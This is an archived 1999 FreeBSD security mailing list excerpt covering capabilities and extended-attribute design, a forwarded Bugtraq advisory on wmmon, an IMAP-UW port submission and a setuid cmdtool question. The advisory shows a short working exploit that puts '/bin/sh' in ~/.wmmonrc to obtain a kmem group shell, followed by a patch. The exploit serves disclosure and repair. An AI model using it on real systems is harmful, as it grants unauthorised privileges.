14:03:03 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id RAA12790; Mon, 20 Dec 1999 17:03:16 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Mon, 20 Dec 1999 17:03:15 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: "Ilmar S. Habibulin" Cc: development team , freebsd-security@freebsd.org Subject: Re: capabilities In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 20 Dec 1999, Ilmar S. Habibulin wrote: > On Mon, 20 Dec 1999, Robert Watson wrote: > > > (I've added freebsd-security into the CC field to keep the world abreast > > of our progress, btw) > I wanted to cc my letters to posix. ;-) Ok, let it be security. I'm contemplating adding a trustedbsd mailing list for discussing introducing these features into FreeBSD (and possibly other BSD's), which would give a good discussion ground for things possibly too OS-specific (such as patches) for posix1e, but too detailed for -security. I haven't set this up yet, but probably I should. > > I'll be committing VOP_ documentation for the new VOPs, as well as > > possibly some of the ACL library code in the near future. There are a few > > bugs I need to wring out, and I made some last-minute change to the > > VOPs--for example, I no longer have VOP_RMEXTATTR, but instead use > > VOP_SETEXTATTR with a null uio pointer, in the same style as removing ACLs > > from files with VOP_SETACL. I hope to have all the documentation/etc > > committed by the end of the week, and will let you know when it's ready to > > go, along with the location of the ufs/extattr extensions so that UFS can > > store extended attributes. I'm trying to decide if this can easily be > I thought that it's already working, did not have the time to examine the > code. So i will read posix againg, waiting for yours commits. ;-) The EA code is working, but is not committed, only the interface. I'll try to make the EA code on UFS available soon, but I updated the VOP interface for the commit but haven't pushed those (minor) changes back into the running codebase. Because it's not clear (see below) that the current backing arrangement is the right eventual one, my conclusion was that I wouldn't commit that for the timebeing, although I might commit hooks so it can be used as a kld at some point. > > made a loadable kernel module, but I think it will require applying a > > patch to ufs/ufs and rebuilding the kernel. Because it backs attributes > > to seperate files either in the fs or elsewhere, as with quotas, it > > doesn't require modifying newfs, fsck, or your partitions :-). > And have you thought about intergrity problems after crashes. Storing EA > in a separate file is not identical to storing quotas in separate file, > because of different sizes of data. EA data size is infinity > (theoretically). So what should we do after crash while changing some of > EA? I agree that is a problem, and have been giving it a lot of thought. I think the only real answers that maintain consistency are: - Transaction-capable file system layering - Supporting EA's as meta-data directly in FFS The first would be quite hard to do, and involve rewriting a lot of FS code, so I'll leave this one for the time being. The second is more feasible, and probably equiv to the Linux integration route, except that we'd hopefully get support into softupdates which could be responsible for maintaining consistency. However, this would probably bound effective EA size limits to one disk block per inode, which is fine. I figured that the file-based arrangement is enough to get us off the ground for all the other code waiting on it, and also standardizes the interface for other file systems capable of extended attributes (HPFS, etc). The nice thing about this arrangement is it can be introduced without modifying the base file system, or renewfs'ing, unlike the modified UFS structures or layering solutions. All the techniques I've seen described for layering ACLs into FFS lose out on consistency, and require advance intent to introduce ACLs--fine in the real world, but not so good for experimentation of the sort we want to do at this point. > > > Ok. I will concentrate on CAPs first, but it will happen only after the > > > HNY. I'm busy right now. > > Sounds good--CAP probably has the most immediate appeal, but I'd really > > like to see MAC :-). MAC is probably a lot more intrusive than CAP, given > > its nature, but we'll see to what extent there's interest in getting it > > into the main source tree--I'd love to see it there, but recognize that > > its intrusiveness may limit that. > I think that CAPs is more interesting to the community. MAC is very > specific access control mechanism, even integrity MAC based on Biba model. Yes. I haven't really looked at implementing MAC in detail, but would be interested in pluggable policy behavior, if it were possible--I.e., you kldload the policy you want, and the hooks are all there throughout the code using the same calls... > > > It is CAPs' land. I'm reading the POSIX again and again trying to > > > understand what does capabilities mean and how should i implement them. So > > > as i understand capabilities are something like SUID/SGID bits. > > Yes--that's effectively the idea. When you run the executable, it picks > > up additional privileges above the ones the calling process has, and > > presumably also you flag that process structure state so that it can't be > > debugged/etc to acquire the privileges from other processes owned by the > > same uid--I forget exactly how this works, but it's the same thing that > > protects setuid processes from attacks of that style (as well as limiting > > the effect of LD_LIBRARY_PATH, etc -- I think it's a syscall that returns > > "I'm special or not" to userland so the library loader can check, etc). > I was upset by realizing that. I thought CAPs are something like WinNT > priveleges, that are managed through user account manager. POSIX CAPs are > privileges, that are managed through the fs execute permision. I don't > what is better. Time will show. I believe that the posix solution is not very flexible. What it sounds like you're looking for is what my tokens and tokend provided -- the ability to attach representations of policy and crypto material to processes in a way configurable by a runtime policy, and transfer those rights. However, POSIX.1e does provide a starting point, and some standardization. Ideally in the long run we'd implement something more general and useful than POSIX.1e, but allow the POSIX.1e interface to manipulate process rights as a subset. This may not be possible, so we might have to abandon at some point. > > A bitmask is one way to represent this, although I think it's desirable to > > consider more extensible systems for naming the capabilities in the long > > term. For example, you could consider a chain of capabilities, each with > > a name--i.e., kern.ipc.ip.tcp.80.bind or the like. The short term > This is a verrry complex solution. I think it will impact performance > dramatically. Yes, although possibly only for operations that would be expensive anyway--I'll have to think on it further. If you're willing to introduce a more fine grained access control solution per-object as opposed to per-executable or per-principal, the way to do it might be a /rights file system which provides a namespace for kernel objects, and the administrator can apply ACLs to names in the namespace to set rights for the objects. I.e., setfacl "user:www:r" /rights/kern/ipc/ip/tcp/80 which would allow the uid for www to bind tcp 80 for listening. > > solution is to add a new 32 bit flag field indicating what the > > capabilities are for the executable :-). There's also a piece of behavior > > that removes the setuid bit when binaries are modified.. We might want to > I what to use linux caps extention. So 32 bits are for posix caps plus 31 > bits - for system specific. Yes, that's probably easiest. My UFS EA support optimizes for a fixed-size structure per attribute name, which is great for things like ACLs, Capabilities, MAC labels, etc. > > abscond with a flag field in the inode to optimze the check for certain > > key extended attributes that would impact performance (i.e., in the inode > > have flags > > > > EA_HAVE_ACL > > EA_HAVE_CAP > > > > and so on, and if it's set you know to load the attribute and do > > additional checks, and if not, then not to). Terry Lambert has already > Good idea, but if we will implement MAC, then every system object (not > only fs object) should have label. And if it have no label, then it should > have system_high. And administrator must change this value - set MAC label > for an object. See above with /rightfs, asigning kernel objects file system-addressable names so that fs label and acl management tools can be used. Optionally to be unmounted when going multiuser, although I don't see that as strictly necessary. A general purpose way for consistently assigning access controls to kernel objects. Many other frontends could be imagined--sysctl pushing them into the kernel, etc, but I like the idea of using the POSIX.2c tools on it. > > expressed strong opposition to consuming flags/etc, but if we're already > > using a modified UFS it might not hurt. On the other hand, so far I've > > managed to avoid changing the disk layout and partition format, and would > > like to continue to do so. It is probably best to accept the performance > > hit for the time being--there are some plans to alow refcounting in the > > extended attribute implementation, which would lead to far more effective > > caching of attribute data, especially relevant with ACLs. > I think that the fact of initial EA support is great. And we will develop > it by common efforts. Yes--my goal was to get things moving, as the problem really seemed to be that we were blocked on disk support for security labels of various sorts. Now we can move onto the more interesting thigns, such as adapting userland software to handle these correctly, tailoring MAC algorithms, boot sequences, and so on. Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 21 12:52:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from alecto.physics.uiuc.edu (alecto.physics.uiuc.edu [130.126.8.20]) by hub.freebsd.org (Postfix) with ESMTP id 032DF14F26 for ; Tue, 21 Dec 1999 12:52:12 -0800 (PST) (envelope-from igor@alecto.physics.uiuc.edu) Received: (from igor@localhost) by alecto.physics.uiuc.edu (8.9.0/8.9.0) id OAA29661; Tue, 21 Dec 1999 14:52:11 -0600 (CST) From: Igor Roshchin Message-Id: <199912212052.OAA29661@alecto.physics.uiuc.edu> Subject: Wmmon under FreeBSD (fwd) To: security@freebsd.org Date: Tue, 21 Dec 1999 14:52:11 -0600 (CST) Cc: kkennawa@physics.adelaide.edu.au X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Don't shoot the messanger :))) Just forwarding this from BUGTRAQ. ----- Forwarded message from Steve Reid ----- From owner-bugtraq@SECURITYFOCUS.COM Tue Dec 21 14:21:23 1999 Return-Path: Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i Message-ID: <19991221003643.A7521@grok.localnet> Date: Tue, 21 Dec 1999 00:36:44 -0800 Reply-To: Steve Reid Sender: Bugtraq List From: Steve Reid Subject: Wmmon under FreeBSD X-To: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM Wmmon is a popular program for monitoring CPU load and other system utilization. It runs as a dockapp under WindowMaker. The FreeBSD version of this program has a feature that can be trivially exploited to gain group kmem in recent installs, or user root in really old installs. This affects the FreeBSD version because under FreeBSD the program must be installed setgid kmem or setuid root in order to access system load information through the memory devices. The Linux version should not be vulnerable because it reads information through procfs which requires no special privileges. Exploit: % id uid=1000(steve) gid=1000(steve) groups=1000(steve) % echo 'left /bin/sh' > ~/.wmmonrc % wmmon -display myworkstation.evilhacker.net:0.0 Monitoring 2 devices for activity. {Left-click on the little window that appears} current stat is :1 $ id uid=1000(steve) gid=1000(steve) egid=2(kmem) groups=2(kmem), 1000(steve) Here is a patch: --- work/wmmon.app/wmmon/wmmon.c.old Thu Dec 2 02:06:55 1999 +++ work/wmmon.app/wmmon/wmmon.c Thu Dec 2 04:20:22 1999 @@ -318,6 +318,8 @@ if (kvmd==NULL) kvmd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, errbuf); if (kvmd==NULL) { fprintf(stderr, "kvm_openfiles: %s\n", errbuf); exit(errno); } + if (setgid(getgid()) != 0) exit(1); /* We're sgid kmem. Give up privs. */ + if (setuid(getuid()) != 0) exit(1); /* If we're suid, give that up too. */ if (kvmd) { if (kvm_nlist(kvmd, nl) >= 0) { struct nlist *nlp; To fix your wmmon binary save the above as wmmon.patch and do this: cd /usr/ports/sysutils/wmmon make patch patch < wmmon.patch make su root make deinstall make reinstall The exploit and patch were tested with wmmon 1.0.b2 installed using the ports tree. Standard disclaimers apply. I first emailed the FreeBSD wmmon port maintainer about this back in February. At that time the program was installed setuid root, giving easy access to user root instead of just group kmem. There was also a buffer overflow on the $HOME variable which could probably be used to access the memory device file descriptors even if privileges were relinquished (which they weren't). The port maintainer acknowledged my email and a message warning of a security vulerability was placed in the pkg/DESCR file but as far as I could tell that was all that was done for some weeks. The port maintainer changed during that time and I guess my email got lost in the switch. I forgot about it until a few weeks ago when I checked the port again. The warning message is gone, the buffer overflow on $HOME is fixed, and the program now installs setgid kmem instead of setuid root. The problem still exists, it has just been reduced from a root exploit to kmem. On Dec. 2nd I again emailed the port maintainer (now a different person) and he acknowledged my email, but as of Dec. 20th the port still appears to be vulnerable. ----- End of forwarded message from Steve Reid ----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 21 16:30:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 2B3C414C3E for ; Tue, 21 Dec 1999 16:30:50 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id RAA17815; Tue, 21 Dec 1999 17:29:24 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id RAA28491; Tue, 21 Dec 1999 17:29:24 -0700 (MST) Message-Id: <199912220029.RAA28491@harmony.village.org> To: Igor Roshchin Subject: Re: Wmmon under FreeBSD (fwd) Cc: security@FreeBSD.ORG, kkennawa@physics.adelaide.edu.au In-reply-to: Your message of "Tue, 21 Dec 1999 14:52:11 CST." <199912212052.OAA29661@alecto.physics.uiuc.edu> References: <199912212052.OAA29661@alecto.physics.uiuc.edu> Date: Tue, 21 Dec 1999 17:29:24 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <199912212052.OAA29661@alecto.physics.uiuc.edu> Igor Roshchin writes: : Don't shoot the messanger :))) : Just forwarding this from BUGTRAQ. Would have committed the change already, but the ports tree is still frozen. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 22 3:25:16 1999 Delivered-To: freebsd-security@freebsd.org Received: from ady.warpnet.ro (ady.warpnet.ro [194.102.224.1]) by hub.freebsd.org (Postfix) with ESMTP id 098A0154EB; Wed, 22 Dec 1999 03:25:00 -0800 (PST) (envelope-from ady@freebsd.ady.ro) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.9.3/8.9.3) with ESMTP id NAA94855; Wed, 22 Dec 1999 13:27:47 +0200 (EET) (envelope-from ady@freebsd.ady.ro) Date: Wed, 22 Dec 1999 13:27:47 +0200 (EET) From: Adrian Penisoara X-Sender: ady@ady.warpnet.ro To: FreeBSD ports , freebsd-security@FreeBSD.ORG Cc: Akinori MUSHA aka knu Subject: [Testing] New port: IMAP-UW version 4.7 Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-742392593-945861777=:94176" Content-ID: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-742392593-945861777=:94176 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Hello, I'd like to ask interested testers to check out the attached IMAP-UW port and submit their feedback to imap-uw@freebsd.ady.ro. Some sidenotes: * you can build a version that uses PAM authentication by defining the variable PAMAUTH as "yes", like this: $ make PAMAUTH=yes Please be advised that when compiling in PAM you need to modify the /etc/pam.conf file (for details look in the pkg/MESSAGE or pkg/DESCR files). * the port uses an external mail SGID executable (root:mail, mode 2711) named "mlock", installed in ${PREFIX}/libexec and compiled from sources in ${WRKDIR}/mlock (that means work/mlock, not work/imap-4.7 !). I'd like to ask the security-aware people to "screen" the referenced sources for possible security compromises. Thank you very much! Ady (@freebsd.ady.ro) --0-742392593-945861777=:94176 Content-Type: APPLICATION/OCTET-STREAM; NAME="imap-uw-4.7.tar.gz" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: IMAP-UW 4.7 port archive Content-Disposition: ATTACHMENT; FILENAME="imap-uw-4.7.tar.gz" H4sIABVVYDgAA+08e3/bOI791/rdh8C4yTUvy5IsP2fdq+M4qad+5Gz3MTud X0aWaFsXWdJKch7XzXc/gJT8SJqm7TaZ3T2hsUSRIAmBIAiAVO254ecWl/ln jwigK+ViEZ4BqOWiSncEJb7HD1BWCopS1ArFEqIpekF5BsXHJCqBRRgZAcAz w7r+It7ljDHnKQh6WrDj8Z/YDgsfSQq+cvy1clErlUqYVtWirqfj/xSwOf5z 6zF4ripKSdfvH3+9UErGv6yUyoimaYXSM1AegZY78P98/LtHRdjhQqDLZRlZ If91F+pQLkyYMh7rlXKlUtarenFcNEpVzbLKmoLpijRs/7X1uYqgVko4kAVp s2HHM89zvhGZM0IlRFPD0S4zq1SYGJWCNh4rY6VUYpWxXrUYG49v93C3BexK 0TR9radFZDvhipbixNIqGiJVDWVSVVmxXFKYqRrjkl4olyfmehe3qkJZ0ypl 6c8enceHZP5zzj7SCvDV+l8taSVNp/mvlIqp/n8KuD3+/J4zxj+yjwf0f7Go q7H9hwZguYhoaAWqqf5/CsjlchAGZt4LLebnF659le8a54zMAdkL7GnmPbOg 513g0IGi15RiTa+AWq1Wpf39/ftq8kpHzARNA0Wp6YWaVhCVXr2CHFr3B2XY F7dXryQAazGfX8se+CFbWB4mXBbNwykmJk4YBbbLk9Yy+RHrBBOzommE60Y+ 3sI5v5E864FKjXl+IcYl4jA5H3vixq9za4K3iLmMP0ZXvN/LkKrO+OvDfEYX LJByzeNO42RY39o5bAxb4mEXtnZaH0aDRvwo7YvE/pexoNt406rPkVWYfFef X0gw6NaDOeSCieCPWj0oIX/wpiqCQaeN4fD90ejX0xa2vXrYheFpq9ludBpv R69bvVG72Rj1B8N6dmvnswW7WQkO37Y7R9gKUbEL44XtWEghz+2fjtr9HpEo 7T+HHsNBjGZ2CBMvwASDcGYEmOfY48AIriFYOAwiDy694BxMLwiYGTnX0r48 fHt83P7QGtYA2SeHnrQ/7B+3Oy1k36fDdq8xaGOZ7NWx6Ebal+A5vGYBA3sC LrIbGQNGMF3MmRsBw9k5duxwxiykCuZ2GKII1IALnTwT/CpXOL8q2oFa4vzK wIr/9WxuCrnD/CIM8kh5fmxP85A7uvBsq27iC2Ha9NwwqmOidzx803l7dNLK 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 QgoppJBCCimkkEIKKaSQwlPB/wEsdXZhAHgAAA== --0-742392593-945861777=:94176-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 23 17:37:14 1999 Delivered-To: freebsd-security@freebsd.org Received: from mta4.rcsntx.swbell.net (mta4.rcsntx.swbell.net [151.164.30.28]) by hub.freebsd.org (Postfix) with ESMTP id 08AD515167 for ; Thu, 23 Dec 1999 17:37:13 -0800 (PST) (envelope-from noslenj@swbell.net) Received: from swbell.net ([207.193.26.67]) by mta4.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.1999.09.16.21.57.p8) with ESMTP id <0FN80086A1TY38@mta4.rcsntx.swbell.net> for security@freebsd.org; Thu, 23 Dec 1999 19:37:12 -0600 (CST) Received: from localhost (localhost [127.0.0.1]) by swbell.net (8.9.3/8.9.3) with ESMTP id TAA01063 for ; Thu, 23 Dec 1999 19:34:10 -0600 (CST envelope-from noslenj@swbell.net) Date: Thu, 23 Dec 1999 19:34:10 -0600 (CST) From: Jay Nelson Subject: setuid and cmdtool? To: security@freebsd.org Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org My question is about making the xview based cmdtool run safely suid root so that utmp is updated. As it is, cmdtool does not have the authority to write to utmp. cmdtool is more of a wrapper for xview -- all the terminal functions come from the xview libraries. To make it work, it looks like I would have to run suid root, but it would take changes to both cmdtool and the xview library to restrict access to the real user id. Since it hasn't been done, I'm probably overlooking something obvious so I'm looking for some one to show me the problems. If I seteuid root just before the utmp update and setreuid just after the update in xview, any risk seems minimal since any calling function without root access couldn't execute seteuid to root if the calling program were not suid root. If I run cmdtool suid root, I gain the ability to switch to root in xview for the utmp update, but would have to set the effective uid to the real id as the first instruction in cmdtool. It looks like this would get utmp updated without unreasonable exposure. Is this reasonable? What holes would I open up? On the other hand, is there any practical value to logging pseudo terminals to utmp? Thanks -- Jay To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message 